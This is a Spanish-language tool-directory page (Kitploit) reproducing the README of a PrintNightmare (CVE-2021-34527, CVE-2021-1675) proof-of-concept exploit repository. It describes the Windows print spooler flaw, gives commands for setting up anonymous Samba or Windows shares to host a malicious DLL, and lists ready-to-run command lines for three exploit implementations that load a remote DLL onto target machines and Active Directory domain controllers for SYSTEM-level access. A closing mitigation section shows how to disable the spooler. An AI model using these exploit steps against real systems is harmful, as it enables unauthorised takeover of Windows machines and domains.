Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PrintNightmare-CVE-2021-34527 — PrintNightmare - Vulnerabilidad RCE/LPE del servicio de cola de impresión de Windows (CVE-2021-34527, CVE-2021-1675) exploits de prueba de concepto | Kitploit
Herramientas/GitHubGitHub/nemo-wq/printnightmare-cve-2021-34527
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHub

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
nemo-wq/printnightmare-cve-2021-34527

PrintNightmare-CVE-2021-34527

PrintNightmare - Vulnerabilidad RCE/LPE del servicio de cola de impresión de Windows (CVE-2021-34527, CVE-2021-1675) exploits de prueba de concepto

Ver Repositorio
1754143hace 5 añosRevisado por Kitploit

PrintNightmare - Vulnerabilidad RCE/LPE del Servicio de Cola de Impresión de Windows (CVE-2021-34527, CVE-2021-1675)

Resumen

Esta es una vulnerabilidad de ejecución remota de código que puede ser utilizada para obtener privilegios de nivel SYSTEM por parte de un usuario remoto autenticado contra máquinas Windows que ejecutan el servicio de cola de impresión. Un atacante podría entonces usar ese acceso para crear nuevas cuentas, intentar instalar programas; ver, cambiar o eliminar datos; o crear nuevas cuentas con permisos de usuario completo.

Esta vulnerabilidad existe debido a un fallo de omisión de autorización en el servicio de cola de impresión spoolsv.exe en sistemas Windows, que permite a usuarios remotos autenticados instalar controladores de impresión usando la llamada RPC RpcAddPrinterDriver y especificar un archivo de controlador ubicado en una ubicación remota. Un usuario malintencionado que explote esto podría obtener privilegios de nivel SYSTEM en un sistema Windows que ejecute este servicio al inyectar DLL maliciosas como parte de la instalación de un controlador de impresión.

Si bien Microsoft ha lanzado una actualización para CVE-2021-1675, esta actualización no protege los controladores de dominio de Active Directory ni los sistemas Windows que tienen configurada la opción 'Punto e Imprimir' con la opción NoWarningNoElevationOnInstall configurada.

Hay tres implementaciones de exploits PoC en este repositorio:

  • Script python CVE-2021-34527 por cube0x0
  • SharpPrintNightmare por cube0x0
  • EXP por afwu (Printnightmare)

Detalles Técnicos

Sistemas Afectados

  • Todas las versiones de Windows contienen el código vulnerable y son vulnerables a partir del 4 de julio de 2021. Los exploits se han probado en Windows Server 2019 y Windows 10 Pro.

Exploits de Prueba de Concepto

Como el servicio RPC permite que la máquina cliente proporcione una ubicación para que los controladores de impresión sean descargados por el servidor remoto, las siguientes opciones de ejemplo se pueden usar para alojar la carga útil y la ruta proporcionada al ejecutar el exploit:

Configuración de Recurso Compartido Samba

  • Unix/Linux:

    Para configurar el acceso de invitado en Samba, debe configurar un usuario con el que simulará iniciar sesión. Asegúrese de que exista un usuario smbuser en el sistema; de lo contrario, cree uno con contraseña password

    id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
    

    Edite el archivo /etc/samba/smb.conf y habilite el acceso anónimo:

    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    
  • Windows:

    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

A continuación se presentan instrucciones ligeramente actualizadas de las proporcionadas por cube0x0:

Script python de CVE-2021-34527

Esta es la implementación de Impacket del exploit Printnightmare por cube0x0. Antes de ejecutar el exploit, debe instalar una versión modificada de Impacket:

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Uso del Exploit:

El código de exploit para esta vulnerabilidad debe ejecutarse usando Python 3

usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675/34527 implementation.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 Path to DLL. Example '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            show this help message and exit

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

connection:
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
                        and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SharpPrintNightmare

El directorio SharpPrintNightmare/ contiene la implementación en C# del exploit Printnightmare, tanto para escalada de privilegios local (LPE) (CVE-2021-1675), como para ejecución remota de código (RCE). La funcionalidad RCE requiere ejecución con privilegios de administrador local en la máquina que ejecuta el exploit.

Uso del Exploit:

#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password

Instrucciones de uso de EXP/ de afwu

Uso del Exploit:

.\PrintNightmare.exe dc_ip path_to_exp user_name password

Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##

Mitigación/Soluciones Alternativas

Determinar si el servicio de cola de impresión está en ejecución

Ejecute lo siguiente:

Get-Service -Name Spooler

Si el servicio de cola de impresión está en ejecución o si el servicio no está configurado como deshabilitado, seleccione una de las siguientes opciones para deshabilitar el servicio de cola de impresión o para deshabilitar la impresión remota entrante a través de la Directiva de Grupo:

Opción 1 - Deshabilitar el servicio de cola de impresión

Si deshabilitar el servicio de cola de impresión es apropiado para su empresa, use los siguientes comandos de PowerShell (recomendación de Microsoft):

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

o deshabilitar el servicio Spooler usando el registro

Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f

o desinstalar Print-Services

Uninstall-WindowsFeature Print-Services

Esto deshabilitará la capacidad de imprimir tanto local como remotamente.

Opción 2 - Deshabilitar la impresión remota entrante a través de la Directiva de Grupo

Descargar herramienta